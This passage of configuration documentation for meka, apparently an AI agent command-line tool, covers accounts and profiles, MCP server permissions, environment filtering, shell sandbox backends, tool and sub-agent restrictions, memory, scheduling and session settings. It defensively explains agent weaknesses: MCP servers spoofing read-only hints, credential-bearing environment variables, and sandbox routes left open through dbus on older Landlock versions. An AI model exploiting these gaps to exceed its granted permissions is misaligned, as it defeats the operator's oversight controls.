anything else is refused before the file is opened. A boolean takes true or false and nothing
else, so yes and 1 are refused rather than read as true. A key that is not on the list, and a
profile name that is not configured, are both refused by name with the valid ones listed.
account is on the profile but deliberately not settable, and the refusal says why rather than
leaving it silently off the list: moving a profile to another account moves every session on it
onto another credential and possibly another backend. Add a profile on the other account instead.
An account key (base_url, client_id, …) is refused with a pointer to the account table.
Three more rules are enforced on meka profile add and meka profile set alike, so neither door
can leave behind a profile the other would have declined:
-
A profile without a model. A session on such a profile is refused by name at its first turn, so
--unset model,set <name> model ""andadd --model ""are refused before the file is written. -
A key on a backend that never sends it.
thinkingandthinking_budgetare Anthropic Messages request fields, so profiles onanthropic-messagesandclaude-subscriptionaccounts carry them and nothing else does.thinking_displayis narrower still: it shapes a request onlyclaude-subscriptionsends, so a profile on ananthropic-messagesaccount takes a thinking field and declines the display beside it.setrefuses the key and writes nothing;adddrops the flag with a warning and creates the profile without it. Same outcome either way: the key never lands where it would read plausibly and do nothing.set --unsetis allowed on all of them, because removing an inert key is the remedy rather than the offense, and a hand-edited file is the one place one can already be sitting; such a file warns at startup. The account keysclient_idandoauth_token_urlfollow the same rule onmeka account add, which drops them for an API-key backend. -
A
max_output_tokensthat does not exceed the thinking budget, underthinking = "budgeted"on one of those two backends. The budget is drawn from the output cap, so such a profile cannot produce a valid request; both commands check the file they are about to write and refuse before writing it.
Leftover credentials
Adding an account by hand works: write an [accounts.<name>] block, then run meka account login <name> to attach the credential. Deleting one by hand is only half the job. Credentials live in the
store keyed by account name, so removing the block takes the settings away and leaves the API
key or OAuth refresh token behind, still valid.
Nothing deletes it on your behalf. meka will not sweep the store against the config at startup:
MEKA_CONFIG_DIR and MEKA_DATA_DIR are independent, so a config read from the wrong place, or one
meka could not parse, would present as “no accounts configured” against a real store and take
every credential with it. Losing an OAuth refresh token that way means redoing the browser login for
each account.
Instead, meka account list reports what it finds:
$ meka account list
Name Backend Base URL Authenticated
work anthropic-messages - yes
Stored credentials with no account: archive
meka account remove archive then deletes it. The same applies to MCP servers, reported by meka mcp list and cleaned by meka mcp remove <name>.
Examples
Each backend needs an account and then a profile on it; the account holds the login, the profile names the model.
claude-subscription
$ meka account add anthropic --backend claude-subscription
# Prints the OAuth login URL for you to open, then stores the token in the store.
$ meka profile add work --account anthropic --model claude-opus-5
anthropic-messages
$ meka account add anthropic --backend anthropic-messages
# Prompts for your Anthropic API key (sk-ant-api03-...).
$ meka profile add work --account anthropic --model claude-opus-5
openai-chat-completions
$ meka account add openai --backend openai-chat-completions
# Prompts for your OpenAI API key (sk-...).
$ meka profile add work --account openai --model gpt-5.6-sol
openai-responses
$ meka account add openai --backend openai-responses
# Prompts for your OpenAI API key (sk-...). Same key as openai-chat-completions,
# newer protocol; also reaches Ollama, vLLM, LM Studio and OpenRouter.
$ meka profile add work --account openai --model gpt-5.6-sol
chatgpt-subscription
$ meka account add chatgpt --backend chatgpt-subscription
# Prints the ChatGPT OAuth login URL for you to open.
$ meka profile add work --account chatgpt --model gpt-5.6-sol
Ollama (local, no key)
$ printf 'unused' | meka account add ollama --backend openai-chat-completions \
--base-url http://localhost:11434/v1 --api-key-stdin
$ meka profile add local --account ollama --model llama3
OpenRouter
$ meka account add openrouter --backend openai-chat-completions \
--base-url https://openrouter.ai/api/v1
# Prompts for your OpenRouter key (sk-or-...).
$ meka profile add sonnet --account openrouter --model anthropic/claude-sonnet-4.6
$ meka profile add gpt --account openrouter --model openai/gpt-5.6-sol
[mcp]
Which MCP servers to connect to, and what their tools are allowed to do. The MCP
page covers the rest: the meka mcp command suite, where a server’s secrets live, the OAuth flows,
the connection lifecycle, and the resource and prompt tools.
[[mcp.servers]]
An array of MCP server configurations. Each entry defines a server to connect to at startup.
| Field | Required | Description |
|---|---|---|
name | Yes | Unique name for this server. Used as namespace prefix for tools (name__tool). Must match [A-Za-z0-9_-]+, must not contain __, and must not be meka, ide, or start with mcp_. |
transport | Yes | Transport type: "stdio" (spawn subprocess) or "http" (streamable HTTP). |
command | Stdio only | Path or name of the executable to spawn. On Windows, npx / .cmd / .bat / .ps1 are auto-wrapped in cmd /c. |
args | No | Arguments to pass to the command. |
env | No | Environment variables to set for the spawned process (stdio only). The child does not inherit meka’s environment; see below. |
url | HTTP only | URL of the MCP server endpoint. |
auth | No | OAuth authentication configuration (see below). Mutually exclusive with a stored bearer token. |
headers | No | Custom HTTP headers to include with every request (HTTP only). |
headers_helper | No | Path to an executable whose stdout (Name: Value\n lines) is merged over headers at connect-time (HTTP only). Executed with MEKA_MCP_SERVER_NAME / MEKA_MCP_SERVER_URL in env; 15 s timeout. |
permission | No | Server-wide permission override: none, read, workspace or unrestricted. Applies to every tool on this server, beating the readOnlyHint the server advertises and the [mcp].default_permission global fallback. Any other value is refused at startup, naming the line, the way an unknown key is. See Permission resolution below. |
allowed_tools | No | Optional allow-list of raw tool names (the form the server advertises, not the server__tool namespaced form). When set and non-empty, only these tools are registered; all others from this server are ignored. |
disabled_tools | No | Optional block-list of raw tool names. Applied after allowed_tools; tools listed here are never registered. Both lists can coexist; the net set is allowed_tools \ disabled_tools. |
eager_load_tools | No | Raw tool names that should ship eager-loaded instead of deferred. Listed tools skip the load_tool round-trip and sit in the cacheable tools-array prefix from turn 1. Use this for tools the agent invokes constantly (search, fetch, …); leave others deferred so the tools array stays lean. |
tool_permissions | No | Per-tool permission overrides keyed by raw tool name, same values as permission. Beats the server-level permission and the server’s readOnlyHint when resolving a tool’s required permission. A level meka does not have is refused at startup, naming the line. |
trust_read_only_hint | No | Whether this server’s readOnlyHint: true may classify a tool as read. Defaults to true. Set false for a server you have not audited: its hints become advisory for display only, so its tools fall through to the strict unrestricted fallback, skipping [mcp].default_permission (a global convenience must not re-grant what a per-server audit decision refused). A readOnlyHint: false is still honored either way, since it only raises the requirement. See Permission resolution below. |
disabled | No | When true, the server is skipped entirely at startup: no process is spawned, no HTTP connect is attempted. Flip it back with meka mcp enable <name> or by editing the config. Unset means false. |
required | No | When true, a turn is refused while this enabled server is not Connected (a disabled server is never started, so it never gates). Over the HTTP API that refusal is a 503 /errors/mcp-unavailable naming the servers. When false, the session runs without it and its tools are simply absent. Unset inherits [mcp].default_required (itself false), so servers are optional unless they opt in. |
[mcp] top-level table
| Field | Purpose |
|---|---|
default_permission | Fallback permission for MCP tools whose server didn’t advertise readOnlyHint and doesn’t have a permission override. Accepts "none", "read", "workspace", or "unrestricted"; any other value is refused at startup, naming the line. If unset the hardcoded fallback is "unrestricted" (strict). It stays there deliberately: an MCP server runs unsandboxed, so workspace cannot confine it. |
default_required | Default for every server’s required flag. When true, all enabled servers gate the turn; when false (the default) only servers with required = true do. An unavailable optional server doesn’t stop the turn; its failure is logged once when it happens, and its live state is shown by /mcp list in the REPL or probed with meka mcp reconnect <name>. |
grace | Per-turn cap on how long to wait for still-Pending servers to connect before deciding. A duration string; default "3s". "0s" skips the wait, for scripts that want to fail fast. |
connect_timeout | Per-server timeout for connect + initialize + list_tools. A hung stdio spawn or slow HTTPS handshake can’t stall the whole fleet past this bound. A duration string; default "30s". "0s" is refused at startup. |
stdio_concurrency | How many stdio servers connect at once at startup. Each is a process launch, so raising it trades startup latency for load; lower it on a machine where several heavy servers starting together is the problem. Default 3; 0 is refused at startup. |
http_concurrency | How many HTTP servers connect at once at startup. Higher than the stdio limit because a connect is a request rather than a process. Default 20; 0 is refused at startup. |
Permission resolution
Every MCP tool’s required permission is resolved through a five-step chain; the first match wins:
server.tool_permissions[<raw-tool>]: explicit per-tool override.server.permission: explicit server-level override. Applies to every tool on that server regardless of what the server advertises.tool.annotations.readOnlyHintfrom the server:true→Read,false→Unrestricted. Thetruehalf is skipped when the server setstrust_read_only_hint = false, and a hint skipped that way also bypasses step 4, landing on step 5.[mcp].default_permission: global fallback. Not consulted for a hint that step 3 refused.- Hardcoded
Unrestricted: strict ultimate fallback.
User-supplied config (1, 2, 4) always beats the server’s self-classification; if a server lies about a tool, you can override. But when no user config says anything, the server’s hint is trusted for that specific tool so readOnlyHint = false destructive tools don’t silently become Read-accessible just because the user opted into a lenient global default.
Hint spoofing: readOnlyHint is asserted by the server and not verified by meka, and MCP tools run in the server’s own process with no sandbox. A server that claims readOnlyHint = true for a tool that in fact writes therefore gets to write your tree while meka sits at read: MCP tools are outside the read filesystem boundary that covers meka’s built-ins (see Permissions).
Three defenses, in increasing order of bluntness:
tool_permissionson the specific tools you want pinned (step 1 wins).trust_read_only_hint = falseon the server, which makes its hints advisory for display only. A refused hint drops straight to the strictunrestrictedfallback, deliberately skipping[mcp].default_permission: that key is a global default, and letting it answer would meandefault_permission = "read"silently re-granting exactly what the per-server flag refused. None of that server’s hinted tools is reachable atreadwithout an explicit override.server.permission = "unrestricted"on the whole server (step 2 wins), ordisabled_toolsto remove the tool entirely.
The hint is trusted by default because most servers annotate honestly and requiring per-tool config for every server would make read impractical. trust_read_only_hint is the switch for a server you have not audited.
Stale config: entries in allowed_tools / disabled_tools / eager_load_tools / tool_permissions that don’t match any advertised tool get a warn! line at connect time. The server still connects; you just see a heads-up so you can clean up after the server renames a tool. A name that appears in both eager_load_tools and disabled_tools also warns: the disabled filter wins, so eager-loading the disabled tool is a no-op.
Visibility across levels: the resolved permission doesn’t hide a tool from the agent. Every registered tool is listed in the per-turn context with its required level noted inline, and a [Permission context] section names the current level and states in one line what it allows (it does not enumerate tools; the per-tool levels are in the catalog above it). The agent can still reason about an inaccessible tool and suggest /permission <level> to enable it; the permission gate is enforced at dispatch time. Keeping the tool catalog visible across levels is also what lets the Claude prompt cache survive mid-session permission toggles.
The stdio server’s environment
A stdio server is a child process that talks to the network, and it does not inherit meka’s
environment. It receives the same curated base a shell at read gets (PATH so it can resolve its
own binaries, HOME, locale, TMPDIR), plus whatever the server’s own env table sets.
Configuring a server is a decision to run its code, not a decision to hand it every credential on
the machine: without this, ANTHROPIC_API_KEY, AWS_* and GITHUB_TOKEN all rode along into every
server you had ever added.
The base also carries the machine’s network configuration (HTTP_PROXY, HTTPS_PROXY, NO_PROXY,
SSL_CERT_FILE, SSL_CERT_DIR, NODE_EXTRA_CA_CERTS and the usual siblings), because a server
that cannot see them connects to nothing behind a corporate proxy and fails every call with an
error naming none of the cause. Those say where to go and whom to trust; they grant nothing.
Three families are deliberately left out and have to be requested per server: SSH_AUTH_SOCK, which
is a live credential agent; NODE_OPTIONS, which takes --require and therefore arbitrary code;
and the import paths PYTHONPATH / NODE_PATH / VIRTUAL_ENV, which change what a program loads.
A server that genuinely needs one takes it explicitly:
[[mcp.servers]]
name = "tooling"
transport = "stdio"
command = "my-tooling-server"
env = { PYTHONPATH = "${PYTHONPATH}" }
A server that genuinely needs a secret asks for it by name, and ${VAR} still reads meka’s
environment at connect time:
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
env = { GITHUB_PERSONAL_ACCESS_TOKEN = "${GITHUB_TOKEN}" }
Examples
Exa: web search, which meka has no built-in tool for. The free tier works without an API key; paste a key into the headers table for the paid tier:
# Free tier, no key required
meka mcp add exa https://mcp.exa.ai/mcp
# Paid tier, expands from EXA_API_KEY at connect time
meka mcp add exa https://mcp.exa.ai/mcp --header "x-api-key=${EXA_API_KEY}"
Well-annotated server: no config needed. Every tool is classified by its own readOnlyHint (read tools Read, write tools Write):
[[mcp.servers]]
name = "notion"
transport = "http"
url = "https://mcp.notion.com/mcp"
User-declared trust on an unannotated server (all tools accessible in Read):
[[mcp.servers]]
name = "internal"
transport = "http"
url = "https://mcp.internal/…"
permission = "read"
Overriding a mis-annotated or distrusted tool (one specific tool requires unrestricted):
[[mcp.servers]]
name = "notion"
transport = "http"
url = "https://mcp.notion.com/mcp"
[mcp.servers.tool_permissions]
"notion-do-something-scary" = "unrestricted"
Subset of a server’s tools (only query registers, all others are ignored):
[[mcp.servers]]
name = "pg"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres"]
allowed_tools = ["query"]
Block-list with a narrow exception (all fs tools are Read-accessible except the two destructive ones, which are never registered):
[[mcp.servers]]
name = "filesystem"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem"]
permission = "read"
disabled_tools = ["delete_file", "move_file"]
MCP tools are registered with namespaced names in the format servername__toolname to prevent collisions with built-in tools or between servers.
Tool and resource descriptions returned from MCP servers are truncated at 2048 characters to keep the rendered catalog bounded.
Environment variable substitution
Every string field listed above (command, args, env values, url, headers values, headers_helper) supports ${VAR} and ${VAR:-default} expansion from the process environment. A missing variable with no default is logged at startup and left literal in command, args and url; in env or headers, where a credential lives, it fails closed instead: the server is marked failed and never connected, so a literal Bearer ${TOKEN} is not sent to anyone. Use this to avoid committing secrets:
[[mcp.servers]]
name = "github"
transport = "http"
url = "https://mcp.github.com"
headers = { X-Api-Key = "${GITHUB_MCP_TOKEN}" }
env, args and headers may contain a secret, but they are not one: env sets a subprocess’s whole environment, args carries connection strings, and headers carries X-Tenant-Id as readily as X-Api-Key. meka cannot tell which is which, so they stay in config.toml and ${VAR} is how you keep a value out of it.
A bearer token and an OAuth client secret are unambiguously secrets, so they are not config at all. They live in the store and are set with meka mcp add --auth-token-stdin / --client-secret-stdin, or afterwards with meka mcp login. See Credentials.
[mcp.servers.auth]
OAuth authentication for HTTP MCP servers. Set type to choose the authentication method. This is mutually exclusive with a stored bearer token.
The client secret is not a field here. It is a secret, so it lives in the store: set it with meka mcp add --client-secret-stdin or meka mcp login <name> --client-secret-stdin. See Credentials.
| Field | Required | Description |
|---|---|---|
type | Yes | Auth method: "client_credentials", "client_credentials_jwt", or "oauth" |
client_id | Varies | OAuth client id (required for client_credentials/jwt, optional for oauth with dynamic registration) |
scopes | No | OAuth scopes to request |
resource | No | Resource parameter (RFC 8707), client_credentials and client_credentials_jwt only |
signing_key_path | JWT only | Path to PEM private key file |
signing_algorithm | No | JWT signing algorithm: RS256 (default), RS384, RS512, ES256, ES384 |
redirect_port | No | Local port for OAuth authorization code callback. When omitted, meka binds to a random ephemeral port (recommended). oauth only. |
Examples
Stdio server
[[mcp.servers]]
name = "postgres"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres", "postgresql://localhost/mydb"]
permission = "unrestricted"
HTTP server
[[mcp.servers]]
name = "web-tools"
transport = "http"
url = "http://localhost:8080/mcp"
permission = "read"
HTTP server with authentication
The bearer token is not in the file. Store it once with meka mcp add api https://api.example.com/mcp --auth-token-stdin, or meka mcp login api --auth-token-stdin for a server that already exists.
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"
[mcp.servers.headers]
X-Custom-Header = "value"
Stdio server with environment variables
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "read"
[mcp.servers.env]
GITHUB_TOKEN = "ghp_..."
Multiple servers
[[mcp.servers]]
name = "filesystem"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/home/user/projects"]
permission = "read"
[[mcp.servers]]
name = "github"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
permission = "unrestricted"
HTTP server with OAuth client credentials
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
permission = "unrestricted"
[mcp.servers.auth]
type = "client_credentials"
client_id = "my-client-id"
scopes = ["read", "write"]
client_credentials needs a client secret, which is stored rather than written here: pass --client-secret-stdin to meka mcp add, or meka mcp login api --client-secret-stdin afterwards.
HTTP server with JWT client credentials
[[mcp.servers]]
name = "api"
transport = "http"
url = "https://api.example.com/mcp"
[mcp.servers.auth]
type = "client_credentials_jwt"
client_id = "my-client-id"
signing_key_path = "/path/to/private-key.pem"
signing_algorithm = "RS256"
scopes = ["admin"]
HTTP server with OAuth authorization code flow
On first connection, meka opens a browser for authorization and stores the token for future use.
[[mcp.servers]]
name = "github-mcp"
transport = "http"
url = "https://mcp.example.com"
[mcp.servers.auth]
type = "oauth"
client_id = "my-app-id"
scopes = ["repo", "user"]
redirect_port = 8400
If client_id is omitted, meka attempts dynamic client registration with the server.
[permissions]
Controls which permission levels are reachable at runtime and which level the session starts at. See the Permissions page for what each level does.
| Field | Required | Description |
|---|---|---|
default | No | Level the session starts at. One of "none", "read", "workspace", "unrestricted". Default "read". Overridden by --permission and MEKA_PERMISSION. |
enabled | No | List of levels that can be reached at runtime via /permission and Shift+Tab. Default ["none", "read", "workspace", "unrestricted"]. Disabled levels are skipped during Shift+Tab cycling and refused by /permission with an error. |
approvals | No | Whether a new session starts with approvals on: a tool call needing more than the session’s level is put to you rather than refused. Default false. A session records its own switch afterwards, moved by /approvals, PATCH /v1/sessions/{id} or the ACP approvals config option. |
A level meka does not have is refused at parse, with the line. An enabled list that names nothing falls back to read alone, with a warning, rather than to the default set, so an empty list cannot widen authority. If default is not in enabled, meka logs a warning and falls back to read if it’s enabled, otherwise the lowest enabled level (in none → read → workspace → unrestricted order). Same behavior if --permission or MEKA_PERMISSION selects a disabled level: meka warns and starts at the configured default rather than refusing to launch.
[permissions]
default = "read"
enabled = ["none", "read", "workspace", "unrestricted"]
approvals = true # ask me about anything above the level instead of refusing it
[shell]
Settings for shell command execution.
shell.sandbox
Whether to enable read-only filesystem sandboxing for shell commands at read. When enabled (default), shell commands can be executed at read and workspace but with the filesystem write-protected outside the workspace roots. When disabled, shell commands require unrestricted.
Default: true
[shell]
sandbox = false # disable the sandboxed shell at read
The sandbox uses one of two backends on Linux (see shell.sandbox_backend), sandbox-exec on macOS, and a duplicated Low-integrity primary token on Windows. On platforms where no backend is usable, shell commands always require unrestricted regardless of this setting.
shell.sandbox_backend
Linux-only choice between "landlock" and "bubblewrap":
- Bubblewrap (
"bubblewrap") wraps the command inbwrapwith read-only bind of/, tmpfs masks over/run//tmp//var/tmp/$XDG_RUNTIME_DIR, and--unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks hide the dbus session bus and the systemd-user socket, so state-changing IPC calls likesystemctl --user startanddbus-sendfail. Network is intentionally not unshared socurl http://x | pdftotextstill works. Requires thebubblewrappackage and a kernel with user-namespace creation enabled. - Landlock (
"landlock") uses the Landlock LSM to block filesystem writes, and requires ABI v3 (kernel 6.2+): below thattruncate(2)is unmediated, so a command atreadcould still empty a file, and meka reports the backend unusable instead. On kernel 7.1+ (ABI v9) it also blocksconnect()to Unix sockets on disk, closing the dbus / systemd-user route out of the sandbox at the cost of socket-based clients likedockerandpsql. Between v3 and v9 that right does not exist, so a sandboxed shell can still invoke state-mutating dbus methods; meka warns at startup naming what the running ABI lacks. Kept as the lighter-weight fallback for hosts without Bubblewrap.
When omitted, meka probes Bubblewrap once at startup. If Bubblewrap is available it auto-picks it; otherwise it auto-picks Landlock and emits a one-shot warning nudging you to install bubblewrap for stronger protection. Set the field explicitly to either value (including "landlock") to suppress that warning. No command writes this field; leave it unset to keep auto-detection.
If the configured backend can’t be used at runtime (bwrap not installed, user namespaces denied, etc.), execute_command at read hard-errors with a message naming the configured backend and the specific failure reason. read is not blocked for other tools; only execute_command requires a usable sandbox.
Overridable for one run with meka --sandbox-backend landlock|bubblewrap, and for a whole
environment with MEKA_SANDBOX_BACKEND. Precedence is flag, then environment, then this field.
Default: unset (auto-detect). Ignored on macOS and Windows.
[shell]
sandbox = true
sandbox_backend = "bubblewrap" # or "landlock"
[tools]: built-in tool filters
The three knobs [[mcp.servers]] exposes for MCP tools also apply to meka’s built-in tools (read_file, write_file, execute_command, etc.) via a top-level [tools] table. MCP per-server filtering is separate from this and keeps its own namespaces; this block only affects the built-ins.
| Key | Purpose |
|---|---|
allowed_tools | Optional allow-list of built-in tool names. When set and non-empty, only these built-ins register, with one exception: the seven MCP meta-tools register regardless, because they are how the agent reaches a configured server’s resources and prompts at all. Naming one here is inert and warns at startup; use disabled_tools to remove one. Use meka tool list to see the canonical names. |
disabled_tools | Block-list of built-in tool names. Applied after allowed_tools; a tool here is never registered even if it also appears in the allow-list. |
tool_permissions | Per-tool required-permission override keyed by built-in name. Beats the hardcoded required level from the tool’s impl. Levels: none, read, workspace, unrestricted; any other value is refused at startup, naming the line. |
Stale entries (a name that matches no built-in) emit a warn! at startup. meka still starts; the warning just flags a likely typo or a tool the binary renamed.
Restrict a session to read-only inspection:
[tools]
allowed_tools = ["read_file", "find_files", "search_contents", "fetch_url"]
Force execute_command to need unrestricted, so a session below that with approvals on prompts for every shell call:
[tools.tool_permissions]
execute_command = "unrestricted"
Disable web access entirely in a locked-down environment:
[tools]
disabled_tools = ["fetch_url"]
Sub-agents spawned via agent_spawn inherit the same filter; a disabled built-in is disabled everywhere. To take something away from sub-agents only, use [subagents]. Run meka tool list to see every built-in’s effective required permission, whether a [tools.tool_permissions] override is in effect, and whether the current config enables it.
[subagents]
What a sub-agent may never hold, and the one choice its parent may make for it. Where [tools] restricts everyone, this block applies only to sub-agents.
| Key | Type | Default | Description |
|---|---|---|---|
disabled_servers | list | [] | MCP servers a sub-agent cannot see at all |
disabled_tools | list | [] | Individual tool names a sub-agent cannot see |
agent_chosen_profile | bool | false | Let the spawning agent choose the profile a sub-agent runs on |
[subagents]
disabled_servers = ["mekabridge"]
disabled_tools = ["mcp__notion__create_page"]
disabled_servers is the one that matters. Naming a server removes everything it offers from every sub-agent: its tools, its resources, and its prompts. Reach for it when a server exists to talk to you or to act on your behalf. The motivating case is a server that can message the user: without this, a sub-agent three levels down can send a message the user has no way to distinguish from the one they are actually talking to.
disabled_tools takes names as they appear in the tool list, so built-ins (write_file) and namespaced MCP tools (mcp__notion__create_page) share one namespace. For a whole server, prefer disabled_servers: it covers the resource and prompt surfaces that a tool-name list cannot reach.
An entry matching nothing emits a warn! at startup, the same way [tools] does. A typo here denies nothing while reading as a restriction, which is worse than writing no config at all.
These are floors. An orchestrator can restrict a particular sub-agent further with agent_spawn’s deny_servers / deny_tools parameters, and each level of nesting inherits everything above it, but nothing can grant back what this block took away. There is deliberately no call-site allow-list for that reason.
agent_chosen_profile = true lets an orchestrator run a sub-agent on a profile other than its own: agent_spawn gains a profile parameter whose choices are every configured profile, so a mid-tier model can dispatch hard tasks to an expensive one and trivial ones to a cheap one. It is off by default because a sub-agent then bills whatever account the chosen profile names, and that is a decision to make once, in the config, rather than one the model makes on every spawn. The agent only sees profile names, so say in your standing instructions what each profile is for. A sub-agent spawned with a profile keeps it on every follow-up; one spawned without follows its parent’s profile.
Why memory and instructions are not configured here
Two things a sub-agent might inherit are deliberately absent: the memory store and the instructions file. Both are granted per call by agent_spawn and default to nothing.
The distinction is what config can actually enforce. A capability can be withheld: a tool the registry never registered cannot be reached, however the parent phrases the task. Context cannot. An agent holding the instructions has them verbatim in its own system prompt, and one with memory_read can read any memory, so either can be copied into a sub-agent’s prompt whatever config says. A [subagents].memory = "none" key would look like a boundary while stopping only the sub-agent’s own browsing, not the content reaching it, and a control that reads as a guarantee but isn’t one is worse than none.
The other half of the argument is that the config guardrail existed for a failure mode that no longer applies. It was there because the parent might forget, which only matters for things that are on by default. Both of these now default to off, so forgetting produces a clean sub-agent.
[skills]
Controls the skill store. See the Skills guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register skill_read / skill_search and render the skills index |
agent_managed | bool | false | Additionally register skill_write / skill_delete |
extra_paths | array | [] | Additional directories to scan, read-only |
[skills]
enabled = false
Setting enabled = false keeps every skill tool’s schema out of every request and renders no skills section. Files already in ~/.config/meka/skills/ are left untouched.
agent_managed = true lets the agent author its own skills. It is off by default because you normally curate that store yourself; it exists for a long-running agent that dispatches sub-agents, where a skill is the only artifact that both survives the session and can be handed to a sub-agent as its task. Sub-agents never receive the authoring tools whatever this is set to. See Letting the agent manage skills.
extra_paths adds directories to the scan. They are strictly read-only: meka never creates them and never writes into them, so an entry that does not exist is simply skipped and leaves nothing behind. A leading ~ is expanded.
[skills]
extra_paths = ["~/.agents/skills"]
~/.agents/skills is the cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible here. It is not a default: reading a directory outside meka’s own namespace is your call. meka’s own store is searched first and wins a name collision. There is no automatic project-level scan, for the same reason meka does not read config or instructions from the working directory; name the path here if you want a project’s skills read. See Reading skills from other directories.
An entry that repeats an earlier one, or that names meka’s own skills directory, is dropped with a warning: it would otherwise be scanned twice and every skill in it reported as shadowed by itself. An empty string is dropped too, since it would expand to your home directory.
[memory]
Controls the agent’s durable note store. See the Memory guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register the memory_* tools and render the memory index |
[memory]
enabled = false
Setting enabled = false keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing for lean sessions that will never use it. Memories already stored are left untouched, and meka memory still reaches them.
There is deliberately no environment variable and no CLI flag here: whether an agent keeps memories is a property of the installation, not something to vary per run.
[schedule]
Controls the wakeups the agent schedules for itself. See the Scheduling guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Register the schedule_* tools and run the scheduler |
poll_interval | duration | "10s" | How often due jobs are checked; "0s" is refused at startup |
missed_grace | duration | "24h" | How late a one-shot job may be and still fire after downtime |
gate_timeout | duration | "30s" | Wall-clock budget for a gate probe; "0s" is refused at startup |
max_jobs | int | 50 | Per-session ceiling, refused at schedule_create; 0 is refused at startup |
max_consecutive_fires | int | 5 | Per-session ceiling on turns spent in one sweep |
claim_lease | duration | "1h" | How long a host’s claim on a due occurrence is good for |
[schedule]
enabled = true
poll_interval = "10s"
missed_grace = "24h"
gate_timeout = "30s"
max_jobs = 50
max_consecutive_fires = 5
claim_lease = "1h"
poll_interval is the real resolution floor: a job whose interval is shorter than the tick fires once per tick, not once per interval.
missed_grace applies only to one-shot jobs. Recurring jobs need no equivalent, because their occurrences are one period apart, so the most recent missed one is always less than a period old; the scheduler coalesces the rest into a single catch-up fire.
claim_lease is how long a crashed host’s occurrence stays unavailable before another host takes it. A due job is leased rather than consumed, so the row survives until the turn is delivered and a host that dies mid-delivery costs a retry rather than the occurrence. Raise it only if a gate probe plus a turn could plausibly exceed an hour; lowering it below that risks a second host taking an occurrence the first is still running, which the session lock catches at the cost of a deferral and a re-run gate probe. A host refuses to start on a value at or under gate_timeout, since a lease that cannot outlast the host’s own probe is never right; that check does not cover the turn after the probe, which is unbounded, so leave headroom on top of it.
max_consecutive_fires interleaves sessions: without it, one session’s whole backlog runs to completion before another session’s single due job is reached. Jobs past the budget keep their occurrence, run no gate, and are taken by the next sweep most-overdue first. It bounds a batch rather than a rate: sweeps do not overlap and the next starts as soon as the last ends, so a backlog still produces one turn per job, just in interleaved groups. 0 is refused, since it would hold every job over forever; use enabled = false to turn scheduling off.
Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves existing jobs on disk without firing.
As with [skills] and [memory], there is no environment variable and no CLI flag: whether an agent may schedule its own turns is a property of the installation.
[background]
Controls tool calls the agent starts and does not wait for. See the Background tasks guide.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | false | Offer the background parameter and register the task_* tools |
max_tasks | int | 10 | Concurrent tasks per session, refused at dispatch |
[background]
enabled = true
max_tasks = 10
Alone among the capability blocks, this one is off by default. [schedule], [skills], and [memory] add capability without changing when a turn ends; this changes the contract of the primary interaction into “you asked, it answered, and something else may interrupt you later”. That is right for an unattended assistant and wrong for someone using the REPL as a command line. A scheduled job also takes an explicit act to create, whereas background is reachable from any tool call, so an agent will reach for it unprompted.
Setting enabled = false keeps the background property out of every tool schema and the two task_* tools out of every request, rather than advertising a parameter that would only ever be refused.
Outcome delivery shares [schedule].poll_interval, so that key sets how long a finished task waits before it is reported, whether or not scheduling itself is enabled.
Config-only, like the blocks above: no environment variable, no CLI flag.
[session]
Settings for session history retention and context window management.
session.retention
Delete sessions not updated for longer than this, at agent startup. A duration string like "30d" or "12h". Uses updated_at, so an actively-resumed session is preserved even if created long ago. Deletions are reported at warn level.
Two kinds of session are spared whatever their timestamp says, and the sweep reports how many it left behind. A session another meka process has open is skipped: only turns bump updated_at, and resuming does not, so a REPL sitting at its prompt past the window looks expired while somebody is in front of it. And a session with a scheduled job still ahead of it is never expired, nor is any parent of one: a gated watcher that evaluates every tick and rarely fires looks untouched for exactly as long as it is working, and deleting it would take the schedule with it.
Default: unset, meaning nothing is deleted. "0s" is refused at startup, since it would delete everything on every launch. Conversation history isn’t reproducible, so meka keeps it until told otherwise. Use meka session delete --older-than-days <DAYS> to prune manually instead.
[session]
retention = "30d"
session.auto_compact
Automatically compact the conversation once it is past context_ceiling_percent of the context window, between turns or between two tool rounds of one turn. Compaction summarizes older messages and preserves recent ones, the todo list, and scratchpad entries. Off changes nothing else: a whole scratchpad_read still stops at the ceiling, and a request past the window fails the turn.
Default: true
[session]
auto_compact = false
session.context_ceiling_percent
The share of the context window meka lets the conversation fill on its own. Two things happen at the line: with auto_compact on, the conversation is compacted once past it; and a whole scratchpad_read that would carry the context past it is cut there and says where to continue, whether or not compaction is on. Refused outside 1 through 100.
What is left above the line has to hold the reply and one round’s growth past it, so keep at least your output budget plus a round free: the default leaves 100k tokens on a 1M window against a Claude reply budget of 64000, and on a small window it needs lowering, or max_output_tokens does.
Default: 90
[session]
context_ceiling_percent = 70
session.compact_checkpoint
Run a checkpoint turn before each compaction, in which the agent saves anything that must outlive the window and writes the replacement summary itself. See Compacting a session.
Costs one extra model call per compaction. Turning it off falls back to a standalone summarizer that has no tools and none of the agent’s identity, so it cannot save to memory and cannot apply any judgment about what this particular agent is for.
Note that this applies to automatic compactions too, so an unattended checkpoint can write memory with nobody watching.
Default: true
[session]
compact_checkpoint = false
session.context_window
Override the model’s context window size (in tokens). Used for the context ceiling. A per-profile [profiles.<name>].context_window takes precedence over this.
